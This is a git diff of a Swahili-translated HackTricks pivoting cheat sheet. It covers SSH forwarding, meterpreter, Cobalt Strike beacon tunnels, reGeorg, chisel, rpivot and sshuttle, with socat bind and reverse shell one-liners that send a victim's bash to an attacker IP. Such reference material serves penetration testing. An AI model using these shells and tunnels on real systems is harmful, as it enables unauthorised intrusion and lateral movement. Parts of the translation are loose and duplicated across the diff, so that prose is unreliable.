||||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
|
@ -476,6 +494,6 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,23 +4,31 @@
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Vidokezo vya Nmap
|
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## Sawa ya Nmap
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Uchunguzi wa **ICMP** na **SYN** hauwezi kuchimbwa kupitia proksi za socks, kwa hivyo tunapaswa **kuzima ugunduzi wa ping** (`-Pn`) na kutoa maelezo ya **uchunguzi wa TCP** (`-sT`) ili hii ifanye kazi.
|
Uchunguzi wa **ICMP** na **SYN** hauwezi kuchimbwa kupitia proksi za socks, hivyo tunapaswa **kulemaza ugunduzi wa ping** (`-Pn`) na kutaja **uchunguzi wa TCP** (`-sT`) ili hii ifanye kazi.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **Bash**
|
## **Bash**
|
||||||
|
|
||||||
**Mwenyeji -> Kukimbilia -> NdaniA -> NdaniB**
|
**Mwenyeji -> Rukia -> NdaniA -> NdaniB**
|
||||||
```bash
|
```bash
|
||||||
# On the jump server connect the port 3333 to the 5985
|
# On the jump server connect the port 3333 to the 5985
|
||||||
mknod backpipe p;
|
mknod backpipe p;
|
||||||
|
@ -42,9 +50,9 @@ Unganisho la picha la SSH (X)
|
||||||
```bash
|
```bash
|
||||||
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
||||||
```
|
```
|
||||||
### Port2Port ya Ndani
|
### Bandari ya Mitaani kwenda Bandari
|
||||||
|
|
||||||
Fungua bandari mpya kwenye Seva ya SSH --> Bandari nyingine
|
Fungua Bandari Mpya kwenye Seva ya SSH --> Bandari Nyingine
|
||||||
```bash
|
```bash
|
||||||
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
||||||
```
|
```
|
||||||
|
@ -54,7 +62,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
|
||||||
```
|
```
|
||||||
### Port2Port
|
### Port2Port
|
||||||
|
|
||||||
Kituo cha ndani --> Mwenyeji ulioghushiwa (SSH) --> Sanduku la tatu:Port
|
Bandari ya ndani --> Mwenyeji aliyeathiriwa (SSH) --> Sanduku la tatu:Bandari
|
||||||
```bash
|
```bash
|
||||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||||
#Example
|
#Example
|
||||||
|
@ -62,13 +70,13 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
||||||
```
|
```
|
||||||
### Port2hostnet (proxychains)
|
### Port2hostnet (proxychains)
|
||||||
|
|
||||||
Port ya Ndani --> Mwenyeji ulioathiriwa (SSH) --> Popote
|
Port ya Mwenyeji --> Mwenyeji Aliyodhuriwa (SSH) --> Mahali Popote
|
||||||
```bash
|
```bash
|
||||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||||
```
|
```
|
||||||
### Kusonga Mbele Kwa Bandari Nyuma
|
### Kusonga Porti Nyuma
|
||||||
|
|
||||||
Hii ni muhimu kupata mabakuli ya nyuma kutoka kwa watumishi wa ndani kupitia DMZ hadi kwenye kompyuta yako:
|
Hii ni muhimu kupata mabua ya nyuma kutoka kwa mwenyeji wa ndani kupitia eneo la DMZ hadi kwa mwenyeji wako:
|
||||||
```bash
|
```bash
|
||||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||||
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
||||||
|
@ -79,7 +87,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||||
```
|
```
|
||||||
### VPN-Tunnel
|
### VPN-Tunnel
|
||||||
|
|
||||||
Unahitaji **mamlaka ya msingi kwenye vifaa vyote** (kwa kuwa utaunda viunganishi vipya) na usanidi wa sshd lazima uwezeshe kuingia kama root:\
|
Unahitaji **root kwenye vifaa vyote** (kwa kuwa utaunda interfaces mpya) na sshd config inapaswa kuruhusu kuingia kama root:\
|
||||||
`PermitRootLogin yes`\
|
`PermitRootLogin yes`\
|
||||||
`PermitTunnel yes`
|
`PermitTunnel yes`
|
||||||
```bash
|
```bash
|
||||||
|
@ -89,7 +97,7 @@ ifconfig tun0 up #Activate the client side network interface
|
||||||
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
|
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
|
||||||
ifconfig tun0 up #Activate the server side network interface
|
ifconfig tun0 up #Activate the server side network interface
|
||||||
```
|
```
|
||||||
Ruhusu mbele kwenye upande wa Server
|
Washa uhamishaji upande wa Seva
|
||||||
```bash
|
```bash
|
||||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||||
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
||||||
|
@ -100,12 +108,13 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||||
```
|
```
|
||||||
## SSHUTTLE
|
## SSHUTTLE
|
||||||
|
|
||||||
Unaweza **kutumia njia ya kuficha** kupitia **ssh** trafiki yote kwenye **mtandao mdogo** kupitia mwenyeji. Kwa mfano, kupeleka trafiki yote inayoelekea 10.10.10.0/24
|
Unaweza **kutumia kivukio** kupitia **ssh** kusafirisha **trafiki yote** kwenye **mtandao wa sehemu** kupitia mwenyeji.\
|
||||||
|
Kwa mfano, kusafirisha trafiki yote inayoelekea kwenye 10.10.10.0/24
|
||||||
```bash
|
```bash
|
||||||
pip install sshuttle
|
pip install sshuttle
|
||||||
sshuttle -r user@host 10.10.10.10/24
|
sshuttle -r user@host 10.10.10.10/24
|
||||||
```
|
```
|
||||||
Hakuna tafsiri inayohitajika kwa sehemu hii ya maandishi.
|
unganisha kwa ufunguo wa kibinafsi
|
||||||
```bash
|
```bash
|
||||||
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||||||
# -D : Daemon mode
|
# -D : Daemon mode
|
||||||
|
@ -114,12 +123,14 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||||||
|
|
||||||
### Port2Port
|
### Port2Port
|
||||||
|
|
||||||
Port ya ndani --> Kifaa kilichodukuliwa (kikao hai) --> Sanduku la tatu:Port
|
Port ya ndani --> Host iliyovamiwa (kikao cha aktive) --> Sanduku la tatu:Port
|
||||||
```bash
|
```bash
|
||||||
# Inside a meterpreter session
|
# Inside a meterpreter session
|
||||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||||
```
|
```
|
||||||
SOCKS ni itifaki ya mtandao inayotumiwa kwa kusudi la kuwezesha tunneling na port forwarding. Inaruhusu watumiaji kuunganisha na seva ya proxy na kisha kupeleka trafiki yao kupitia seva hiyo. Hii inawezesha watumiaji kuficha anwani zao za IP halisi na kufikia rasilimali za mtandao ambazo zinaweza kuwa vikwazo kwa anwani zao za IP. SOCKS inasaidia matoleo mbalimbali kama vile SOCKS4, SOCKS4a, na SOCKS5. SOCKS5 ni toleo la hivi karibuni na linaleta sifa za ziada kama vile uthibitishaji wa watumiaji na encryption ya trafiki.
|
### SOCKS
|
||||||
|
|
||||||
|
SOCKS ni itifaki inayotumiwa kwa kusudi la kusafirisha trafiki ya mtandao kati ya seva na mteja, ikiruhusu mteja kupitisha trafiki yake kupitia seva ya proxy. Itifaki hii inaweza kutumika kwa njia ya tunneling na port forwarding kwa kusudi la kuficha mahali halisi la mteja au kuvuka vizuizi vya mtandao.
|
||||||
```bash
|
```bash
|
||||||
background# meterpreter session
|
background# meterpreter session
|
||||||
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
||||||
|
@ -144,7 +155,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||||
|
|
||||||
### SOCKS proxy
|
### SOCKS proxy
|
||||||
|
|
||||||
Fungua bandari katika timu ya seva inayosikiliza kwenye interface zote ambazo zinaweza kutumika kupeleka trafiki kupitia beacon.
|
Fungua kituo cha bandari kwenye timu ya seva inayosikiliza kwenye interface zote ambazo zinaweza kutumika kusafirisha trafiki kupitia kwa beacon.
|
||||||
```bash
|
```bash
|
||||||
beacon> socks 1080
|
beacon> socks 1080
|
||||||
[+] started SOCKS4a server on: 1080
|
[+] started SOCKS4a server on: 1080
|
||||||
|
@ -155,22 +166,16 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||||
### rPort2Port
|
### rPort2Port
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa beacon**, sio kwenye Seva ya Timu na trafiki inatumwa kwenye Seva ya Timu na kutoka hapo kwenda kwenye mwenyeji: bandari iliyotajwa
|
Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa ishara**, sio kwenye Seva ya Timu na trafiki inatumwa kwenye Seva ya Timu na kutoka hapo kwenda kwa mwenyeji:bandari ulioonyeshwa
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```bash
|
```bash
|
||||||
rportfwd [bind port] [forward host] [forward port]
|
rportfwd [bind port] [forward host] [forward port]
|
||||||
rportfwd stop [bind port]
|
rportfwd stop [bind port]
|
||||||
```
|
```
|
||||||
Kuwa makini:
|
|
||||||
|
|
||||||
- Kusudi la kusonga mbele la Beacon ni kubuniwa kwa ajili ya **kutuma trafiki kwenye Seva ya Timu, sio kwa ajili ya kuhamisha kati ya mashine binafsi**.
|
|
||||||
- Trafiki ina **kutumwa kwa njia ya kusonga mbele ndani ya trafiki ya C2 ya Beacon**, ikiwa ni pamoja na viungo vya P2P.
|
|
||||||
- **Hakuna mahitaji ya mamlaka ya usimamizi** ili kuunda mbele ya kusonga kwa kubadilishana kwenye bandari za juu.
|
|
||||||
|
|
||||||
### rPort2Port ya ndani
|
### rPort2Port ya ndani
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa beacon**, sio kwenye Seva ya Timu na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Seva ya Timu) na kutoka hapo kwenye mwenyeji:bandari iliyotajwa
|
Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa beacon**, sio kwenye Seva ya Timu na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Seva ya Timu) na kutoka hapo kwenda kwa mwenyeji:bandari uliyotajwa
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```
|
```
|
||||||
rportfwd_local [bind port] [forward host] [forward port]
|
rportfwd_local [bind port] [forward host] [forward port]
|
||||||
|
@ -180,14 +185,14 @@ rportfwd_local stop [bind port]
|
||||||
|
|
||||||
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
||||||
|
|
||||||
Unahitaji kupakia faili ya wavuti ya tunnel: ashx|aspx|js|jsp|php|php|jsp
|
Unahitaji kupakia faili ya wavuti ya uchimbaji wa faili: ashx|aspx|js|jsp|php|php|jsp
|
||||||
```bash
|
```bash
|
||||||
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
||||||
```
|
```
|
||||||
## Chisel
|
## Chisel
|
||||||
|
|
||||||
Unaweza kuipakua kutoka kwenye ukurasa wa matoleo ya [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
Unaweza kuipakua kutoka kwenye ukurasa wa matoleo ya [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||||
Unahitaji kutumia **toleo lile lile kwa mteja na seva**
|
Unahitaji kutumia **toleo sawa kwa mteja na server**
|
||||||
|
|
||||||
### socks
|
### socks
|
||||||
```bash
|
```bash
|
||||||
|
@ -198,34 +203,7 @@ Unahitaji kutumia **toleo lile lile kwa mteja na seva**
|
||||||
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
|
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
|
||||||
./chisel client -v 10.10.10.10:8080 socks #Attacker
|
./chisel client -v 10.10.10.10:8080 socks #Attacker
|
||||||
```
|
```
|
||||||
### Kusambaza Bandari
|
### Kusonga Bandari
|
||||||
|
|
||||||
Port forwarding ni mbinu ya kusambaza trafiki kutoka kwa bandari moja hadi nyingine kwenye mtandao. Inaruhusu uhusiano wa moja kwa moja kati ya kompyuta mbili au zaidi, hata kama ziko nyuma ya mitandao tofauti au firewalls.
|
|
||||||
|
|
||||||
Kuna aina mbili za port forwarding: **local port forwarding** na **remote port forwarding**.
|
|
||||||
|
|
||||||
#### Local Port Forwarding
|
|
||||||
|
|
||||||
Katika local port forwarding, trafiki kutoka kwa bandari ya kompyuta ya mteja inaelekezwa kwenye bandari ya kompyuta ya seva. Hii inaruhusu mteja kufikia huduma zilizopo kwenye seva kupitia bandari ya kompyuta yake mwenyewe.
|
|
||||||
|
|
||||||
Kwa mfano, ikiwa mteja anataka kufikia tovuti iliyohifadhiwa kwenye seva ya kampuni, wanaweza kutumia local port forwarding ili kusambaza trafiki kutoka bandari yao ya ndani kwenda bandari ya seva ya kampuni.
|
|
||||||
|
|
||||||
#### Remote Port Forwarding
|
|
||||||
|
|
||||||
Katika remote port forwarding, trafiki kutoka kwa bandari ya seva inaelekezwa kwenye bandari ya kompyuta ya mteja. Hii inaruhusu seva kufikia huduma zilizopo kwenye kompyuta ya mteja kupitia bandari ya seva.
|
|
||||||
|
|
||||||
Kwa mfano, ikiwa mteja anataka kufanya upatikanaji wa mbali kwenye kompyuta yao ya nyumbani, wanaweza kutumia remote port forwarding ili kusambaza trafiki kutoka bandari ya seva kwenda bandari ya kompyuta yao ya nyumbani.
|
|
||||||
|
|
||||||
#### Matumizi ya Port Forwarding
|
|
||||||
|
|
||||||
Port forwarding ina matumizi mengi katika uwanja wa udukuzi na upimaji wa usalama. Inaweza kutumika kwa:
|
|
||||||
|
|
||||||
- Kupata upatikanaji wa mbali kwenye kompyuta zilizofichwa nyuma ya mitandao ya ndani au firewalls.
|
|
||||||
- Kusambaza trafiki ya mtandao kupitia njia zisizo salama.
|
|
||||||
- Kupenya kwenye mitandao ya ndani na kufikia vifaa vya ndani.
|
|
||||||
- Kuanzisha mawasiliano ya moja kwa moja kati ya kompyuta mbili zilizoko kwenye mitandao tofauti.
|
|
||||||
|
|
||||||
Port forwarding ni mbinu muhimu katika uwanja wa udukuzi na inaweza kutumiwa kwa njia mbalimbali ili kufikia malengo ya udukuzi.
|
|
||||||
```bash
|
```bash
|
||||||
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
|
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
|
||||||
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
|
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
|
||||||
|
@ -234,8 +212,8 @@ Port forwarding ni mbinu muhimu katika uwanja wa udukuzi na inaweza kutumiwa kwa
|
||||||
|
|
||||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||||
|
|
||||||
Tuneli ya kurudi. Tuneli huanza kutoka kwa mwathirika.\
|
Mfereji wa nyuma. Mfereji huanzishwa kutoka kwa mwathiriwa.\
|
||||||
Socks4 proxy inaundwa kwenye 127.0.0.1:1080
|
Proksi ya socks4 inaundwa kwenye 127.0.0.1:1080
|
||||||
```bash
|
```bash
|
||||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||||
```
|
```
|
||||||
|
@ -243,7 +221,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
||||||
```bash
|
```bash
|
||||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||||
```
|
```
|
||||||
Pivot kupitia **NTLM proxy**
|
Pitisha kupitia **proksi ya NTLM**
|
||||||
```bash
|
```bash
|
||||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||||
```
|
```
|
||||||
|
@ -255,115 +233,27 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
|
||||||
|
|
||||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||||
|
|
||||||
### Kifaa cha Kufunga
|
### Bind shell
|
||||||
```bash
|
```bash
|
||||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||||
```
|
```
|
||||||
### Kitanzi cha Nyuma
|
### Reverse shell
|
||||||
|
|
||||||
Kitanzi cha nyuma ni mbinu ya kawaida katika udukuzi ambapo mshambuliaji anapata udhibiti wa kijijini juu ya mfumo uliolengwa. Katika kitanzi cha nyuma, mfumo uliolengwa huanzisha uhusiano na mshambuliaji, badala ya mshambuliaji kuanzisha uhusiano na mfumo uliolengwa.
|
|
||||||
|
|
||||||
Mchakato wa kuanzisha kitanzi cha nyuma unahusisha hatua zifuatazo:
|
|
||||||
|
|
||||||
1. Mshambuliaji huanzisha seva ya kusikiliza kwenye mfumo wake.
|
|
||||||
2. Mshambuliaji hutoa payload (kifurushi cha programu hasidi) kwa mfumo uliolengwa.
|
|
||||||
3. Mfumo uliolengwa hupokea payload na kuiendesha.
|
|
||||||
4. Payload inajenga uhusiano na seva ya kusikiliza ya mshambuliaji.
|
|
||||||
5. Mshambuliaji anapata udhibiti wa kijijini juu ya mfumo uliolengwa kupitia uhusiano huu.
|
|
||||||
|
|
||||||
Kitanzi cha nyuma ni mbinu yenye nguvu ambayo inaruhusu mshambuliaji kutekeleza amri na kudhibiti mfumo uliolengwa kutoka mahali popote duniani. Ni muhimu kwa wadukuzi kujua jinsi ya kuanzisha na kutumia kitanzi cha nyuma kwa ufanisi.
|
|
||||||
```bash
|
```bash
|
||||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||||
```
|
```
|
||||||
### Port2Port
|
### Port2Port
|
||||||
|
|
||||||
Port2Port ni mbinu ya kusafirisha trafiki kutoka kwenye bandari moja hadi nyingine kwenye mtandao. Inaweza kutumika kwa kusudi la kuficha trafiki, kufikia huduma zilizofungwa, au kufanya uchunguzi wa usalama.
|
### Bandari kwenda Bandari
|
||||||
|
|
||||||
Kuna njia kadhaa za kutekeleza Port2Port, ikiwa ni pamoja na:
|
|
||||||
|
|
||||||
- **Port Forwarding**: Hii ni mbinu ya kawaida ya Port2Port ambapo trafiki kutoka kwenye bandari moja ya chanzo inaelekezwa kwenye bandari ya marudio kwa kutumia router au firewall. Hii inaruhusu mtumiaji kufikia huduma kwenye bandari ya marudio bila kujali vizuizi vya mtandao.
|
|
||||||
|
|
||||||
- **Reverse Tunneling**: Hii ni mbinu ambapo trafiki kutoka kwenye bandari ya chanzo inaelekezwa kwenye bandari ya marudio kupitia seva ya kati. Hii inaweza kutumika kwa kusudi la kufikia huduma zilizofungwa au kuficha asili ya trafiki.
|
|
||||||
|
|
||||||
- **SSH Tunneling**: Hii ni mbinu ambapo trafiki inasafirishwa kupitia SSH (Secure Shell) kwa kutumia bandari ya chanzo na bandari ya marudio. Hii inaruhusu ufikiaji salama wa huduma zilizofungwa au kuficha trafiki.
|
|
||||||
|
|
||||||
Port2Port ni mbinu muhimu katika uwanja wa uchunguzi wa usalama na inaweza kutumika kwa njia mbalimbali kulingana na malengo ya mtumiaji.
|
|
||||||
```bash
|
```bash
|
||||||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||||
```
|
```
|
||||||
### Port2Port kupitia socks
|
### Port2Port kupitia soksi
|
||||||
|
|
||||||
Kuna njia mbalimbali za kufanya port2port kupitia socks. Hapa nitaelezea njia mbili za kawaida:
|
|
||||||
|
|
||||||
#### 1. Kutumia SSH Tunnel
|
|
||||||
|
|
||||||
Ili kufanya port2port kupitia socks kwa kutumia SSH tunnel, unahitaji kufuata hatua zifuatazo:
|
|
||||||
|
|
||||||
1. Anza kuanzisha SSH tunnel kwa kutumia amri ifuatayo:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
ssh -D <local_port> -p <ssh_port> <username>@<ssh_server>
|
|
||||||
```
|
|
||||||
|
|
||||||
2. Baada ya kuanzisha SSH tunnel, unaweza kutumia programu yoyote ambayo inasaidia kuweka proxy kwa kusanidi mteja wa socks kwa kutumia maelezo yafuatayo:
|
|
||||||
|
|
||||||
- Server: `localhost` au `127.0.0.1`
|
|
||||||
- Port: `<local_port>` (ambayo uliweka katika hatua ya kwanza)
|
|
||||||
|
|
||||||
3. Sasa unaweza kuanzisha uhusiano wa port2port kupitia socks kwa kutumia programu yako ya mteja.
|
|
